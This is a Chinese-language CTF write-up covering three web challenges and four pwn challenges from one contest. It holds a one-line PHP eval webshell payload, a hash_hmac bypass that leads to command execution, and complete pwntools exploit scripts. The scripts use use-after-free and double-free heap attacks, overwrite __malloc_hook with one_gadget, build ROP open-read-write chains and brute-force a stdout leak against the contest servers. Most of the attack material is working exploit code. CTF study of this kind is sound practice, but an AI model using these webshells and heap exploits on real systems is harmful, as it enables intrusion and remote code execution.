前言

这是不当人的一场比赛。。恰逢考试,还要一个人兼pwn和web,难受。。。。还好web不算太难,pwn的解题率就不尽人意了。。

web

easycon

http://183.129.189.60:10035/index.php,提示eval cmd,直接用蚁剑连接,密码cmd。在网站目录下找到bbbbbbbbb.txt文件,用base64解码得到包含flag的图片。

BlackCat

在Hei_Mao_Jing_Chang.mp3中找到php的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
die('谁!竟敢踩我一只耳的尾巴!');
}

$clandestine = getenv("clandestine");

if(isset($_POST['White-cat-monitor']))
$clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);


$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);

if($hh !== $_POST['Black-Cat-Sheriff']){
die('有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的子弹。');
}

echo exec("nc".$_POST['One-ear']);

通过将White-cat-monitor设置为数组类型,使hash_hmac函数报错返回0,从而得到key,接着利用key进行sha256加密并且任意命令执行,在网站目录下flag.php中包含有flag。

POST数据:

image-20200911193936098

easyphp

php代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nHello, world");
?>

直接向index.php写入一句话木马即可,GET数据:

1
filename=index.php&content=%3C?php%20@eval($_POST[%27attack%27])%20?%3E

PWN

sign_in

思路

简单的UAF漏洞。首先通过unsortbin来leak出libc地址,接着利用double free来申请到__malloc_hook处改为onegadget即可getshell了。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
libc = ELF("sign_in").libc
p = process("sign_in")
p = remote("183.129.189.60","10029")
def add(size,name,message):
p.recvuntil("choice : ")
p.sendline(str(1))
p.recvuntil("game's name: ")
p.sendline(str(size))
p.recvuntil("name:")
p.send(name)
p.recvuntil(" message:")
p.send(message)

def free(idx):
p.recvuntil("choice : ")
p.sendline(str(3))
p.recvuntil("index:")
p.sendline(str(idx))
def show():
p.recvuntil("choice : ")
p.sendline(str(2))
one = [0x45226,0x4527a,0xf0364,0xf1207]
add(0xf8,'aaa\n','aaa\n')#0
add(0x28,'aaa\n','aaa\n')#1
free(0)
free(1)
add(0xf8,'\n','a\n')#2
show()
p.recvuntil("Game[2]'s name :")
libc.address = u64(p.recv(6)+'\x00\x00')-0x3C4B0A
print(hex(libc.address))

add(0x68,'aaa\n','aaa\n')#3
add(0x68,'aaa\n','aaa\n')#4
free(3)
free(4)
free(3)
add(0x68,p64(libc.sym['__malloc_hook']-0x23)+'\n','aaa\n')#6
add(0x68,'aaa\n','aaa\n')#7
add(0x68,'aaa\n','aaa\n')#8
add(0x68,'\x00'*0xb+p64(libc.sym['realloc']+6)+p64(libc.address+one[1])+'\n','aaa\n')#6

#gdb.attach(p,'b malloc')
p.recvuntil("choice : ")
p.sendline(str(1))

p.interactive()

repwn

思路

只能进行add和free操作,并且有个可以输出栈上信息的函数,通过解密即可得到libc和stack的地址。存在double free漏洞,并且由于禁用了execute的系统调用,所以申请回栈上,通过rop来进行ORW操作。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
def dec(res):
v5=[51,18,120,36]
v9=9
v7=0x26a77aaa
while v9>0:
v10 = (v7 >> 2) & 3
for i in range(15,-1,-1):
v6 = res[(i-1+16)%16]
res[i] -= (((v6 >> 7) ^ 8 * res[(i + 1)%16]) + ((res[(i + 1)%16] >> 2) ^ 32 * v6) - 33) ^ ((res[(i + 1)%16] ^ v7 ^ 0x57)+ (v6 ^ v5[v10 ^ i & 3])+ 63)
res[i]&=0xff
v7 -= 0x76129BDA
v7&=0xffffffff
v9-=1
from pwn import *
libc = ELF("re_pwn").libc
#p = process("./re_pwn")
p = remote("183.129.189.60","10035")
#context.log_level = 'debug'
def add(size,data):
p.recvuntil(" choice:")
p.sendline("1")
p.recvuntil("how long?")
p.sendline(str(size))
p.sendline(data)
def free(idx):
p.recvuntil(" choice:")
p.sendline("3")
p.recvuntil("which one?")
p.sendline(str(idx))


add(0x68,'aaa')
p.recvuntil(" choice:")

p.sendline("2")
p.send("\n")
rev = p.recv(0x10)
res = []
for i in range(len(rev)):
res.append(u32(rev[i]+'\x00'*3))
dec(res)
s = ''
for i in range(len(rev)):
s += chr(res[i])
libc.address = u64(s[:6]+'\x00\x00')-0x5F1A88
print hex(libc.address)

stack = u64(s[8:14]+'\x00\x00')
print hex(stack)
add(0x68,'aaa')#0
add(0x68,'aaa')#1
free(0)
free(1)
free(0)


pop_rdi = 0x0000000000021112 + libc.address
pop_rsi = 0x00000000000202f8 + libc.address
pop_rdx = 0x0000000000001b92 + libc.address
pop_rax = 0x000000000003a738 + libc.address
pop_rsp = 0x0000000000003838 + libc.address
syscall = 0x00000000000bc3f5 + libc.address

add(0x68,p64(stack - 0xf3))#2
add(0x68,'aaa')#3
add(0x68,'aaa')#4
one = [0x45226,0x4527a,0xf0364,0xf1207]

#gdb.attach(p,'b *'+hex(syscall))
pay = '\x00'*0x3
pay += p64(pop_rdx)
pay += p64(0x100)
pay += p64(pop_rax)
pay += p64(0)
pay += p64(syscall)


pay += p64(pop_rdi)
pay += p64(0)
pay += p64(pop_rsi)
pay += p64(stack-0xe0+5*8+0x10)
pay += p64(pop_rsp)
pay += p64(stack-0xe0)
print hex(len(pay))
add(0x68,pay)#5
payload = ''
payload += p64(pop_rdi)
payload += p64(stack+0x30)
payload += p64(pop_rsi)
payload += p64(4)
payload += p64(pop_rdx)
payload += p64(4)
payload += p64(pop_rax)
payload += p64(2)
payload += p64(syscall)


payload += p64(pop_rdi)
payload += p64(3)
payload += p64(pop_rsi)
payload += p64(stack+0x100)
payload += p64(pop_rdx)
payload += p64(0x100)
payload += p64(pop_rax)
payload += p64(0)
payload += p64(syscall)


payload += p64(pop_rdi)
payload += p64(1)
payload += p64(pop_rsi)
payload += p64(stack+0x100)
payload += p64(pop_rdx)
payload += p64(0x100)
payload += p64(pop_rax)
payload += p64(1)
payload += p64(syscall)
payload += './flag\x00'
sleep(1)
p.sendline(payload+'\n')
p.interactive()

easy_heap

思路

存在double free漏洞。首先填满tcache,并leak出libc地址。接着修改堆上指向name堆块的地址为environ变量,从而leak出stack地址。接着通过tcache的double free任意申请地址到栈上,从而用rop来进行ORW操作获取flag。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
from pwn import *
p = process("./easy_heap")
p = remote("183.129.189.60",10009)
libc = ELF("easy_heap").libc
#context.log_level='debug'
def add(size):
p.recvuntil("Choice")
p.sendline("1")
p.recvuntil("Size: ")
p.sendline(str(size))
def edit(idx,data):
p.recvuntil("Choice")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Content: ")
p.send(data)
def free(idx):
p.recvuntil("Choice")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline(str(idx))
def show(idx):
p.recvuntil("Choice")
p.sendline("4")
p.recvuntil("Index: ")
p.sendline(str(idx))

add(0xf8)
add(0xf8)
add(0xf8)
free(1)
free(0)
add(0xf8)
add(0xf8)
show(0)
p.recvuntil("ontent: ")
heap = u64(p.recv(6)+b'\x00'*2) - 0x3a0
print(hex(heap))

for i in range(3):
free(3-i)
for i in range(0xb):
add(0xf8)
for i in range(0x7):
add(0x1f8)
for i in range(7):
free(6-i)

free(7)
edit(9,p64(heap+0xb90)*2+b'\x00'*0xe0+p64(0x100))
free(0xa)
add(0x1f8)
for i in range(0xb,0xb+8):
free(i)
free(9)
show(0)
p.recvuntil("ontent: ")
libc.address = u64(p.recv(6)+b'\x00'*2) - 0x1EBBE0
print(hex(libc.address))
add(0x2f8)
add(0x2f8)
add(0x2f8)
free(2)
free(0)
edit(1,p64(libc.sym['environ']))
add(0x2f8)#0
add(0x2f8)
show(2)
p.recvuntil("ontent: ")
stack = u64(p.recv(6)+b'\x00'*2)
print(hex(stack))
free(3)
free(1)
edit(0,p64(stack-0x120))
add(0x2f8)#0
add(0x2f8)
#gdb.attach(p,'b *$rebase(0x16A0)')



pop_rdi = 0x0000000000026b72 + libc.address
pop_rsi = 0x0000000000027529 + libc.address
pop_rdx_r12 = 0x000000000011c1e1 + libc.address
pop_rax = 0x000000000004a550 + libc.address
syscall = 0xE6169+ libc.address



payload = b''
payload += p64(pop_rdi)
payload += p64(stack-0x30)
payload += p64(pop_rsi)
payload += p64(4)
payload += p64(pop_rdx_r12)
payload += p64(4)
payload += p64(4)
payload += p64(pop_rax)
payload += p64(2)
payload += p64(syscall)


payload += p64(pop_rdi)
payload += p64(3)
payload += p64(pop_rsi)
payload += p64(stack+0x100)
payload += p64(pop_rdx_r12)
payload += p64(0x100)
payload += p64(0x100)
payload += p64(pop_rax)
payload += p64(0)
payload += p64(syscall)


payload += p64(pop_rdi)
payload += p64(1)
payload += p64(pop_rsi)
payload += p64(stack+0x100)
payload += p64(pop_rdx_r12)
payload += p64(0x100)
payload += p64(0x100)
payload += p64(pop_rax)
payload += p64(1)
payload += p64(syscall)
payload += b'./flag\x00'



edit(3,payload)
#
#
p.interactive()

babypwn

思路

比较恶心的概率题。首先通过malloc_consolidate()将fastbin中的堆块放入smallbin中,从而得到libc的地址。申请回来,修改低位,爆破到stdout结构附近。接着利用double free,并修改低位地址,爆破到上述存储有stdout结构地址处的堆块,从而申请到stdout处进行IO_leak。接着就是double free申请到__malloc_hook然后用one_gadgets来getshell。PS:1/256概率,日常脸黑,打了半个多小时才出来。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
from pwn import *
#p = process("babypwn")
#context.log_level = 'debug'
libc = ELF("babypwn").libc
def exp():
#p = process("babypwn")
p = remote("183.129.189.60","10031")
def add(size,name,message):
p.recvuntil("choice : ")
p.sendline(str(1))
p.recvuntil("game's name: ")
p.sendline(str(size))
p.recvuntil("name:")
p.send(name)
p.recvuntil(" message:")
p.send(message)

def free(idx):
p.recvuntil("choice : ")
p.sendline(str(2))
p.recvuntil("index:")
p.sendline(str(idx))


add(0x68,'a','a\n')#0
add(0x68,'a','a\n')#1
add(0x68,'a','a\n')#2
add(0x68,'a','a\n')#3


add(0x28,'a','a\n')#4
free(0)
add(0x68,'a','a\n')
free(0)
p.recvuntil("choice : ")
p.sendline(str(2))
p.recvuntil("index:")
p.sendline('4'*0x400)
free(4)
add(0x68,'\xdd\x25','a\n')


free(4)
free(2)
free(3)
free(2)
add(0x68,'\x30\x70','a\n')
free(4)

add(0x68,'a','a\n')#0
free(4)
add(0x68,'a','a\n')#1
free(4)
add(0x68,'a','a\n')#2
free(4)
p.recvuntil("choice : ")
p.sendline(str(1))
p.recvuntil("game's name: ")
p.sendline(str(0x68))
p.recvuntil("name:")
p.send('\x00'*3+p64(0)*6+p64(0xfbad1800)+p64(0)*3+'\x00')

print p.recvuntil(p64(0xfbad1800))
print p.recv(0x18)
libc.address = u64(p.recv(8)) -0x3C5600
print hex(libc.address)
one = [0x45226,0x4527a,0xf0364,0xf1207]

p.recvuntil("game's")
p.send('a\n')
free(0)
free(1)
free(0)
add(0x68,p64(libc.sym['__malloc_hook']-0x23),'a\n')
add(0x68,'a','a\n')#2
add(0x68,'a','a\n')#2
add(0x68,'\x00'*0xb+p64(libc.address+one[3])+p64(libc.sym['realloc']+6),'a\n')#2
#gdb.attach(p,'b malloc')
p.recvuntil("choice : ")
p.sendline(str(1))
p.sendline("cat flag")
p.interactive()
input()
i = 0
while(1):
i+=1
print i
try:
exp()
except:
print 'fail'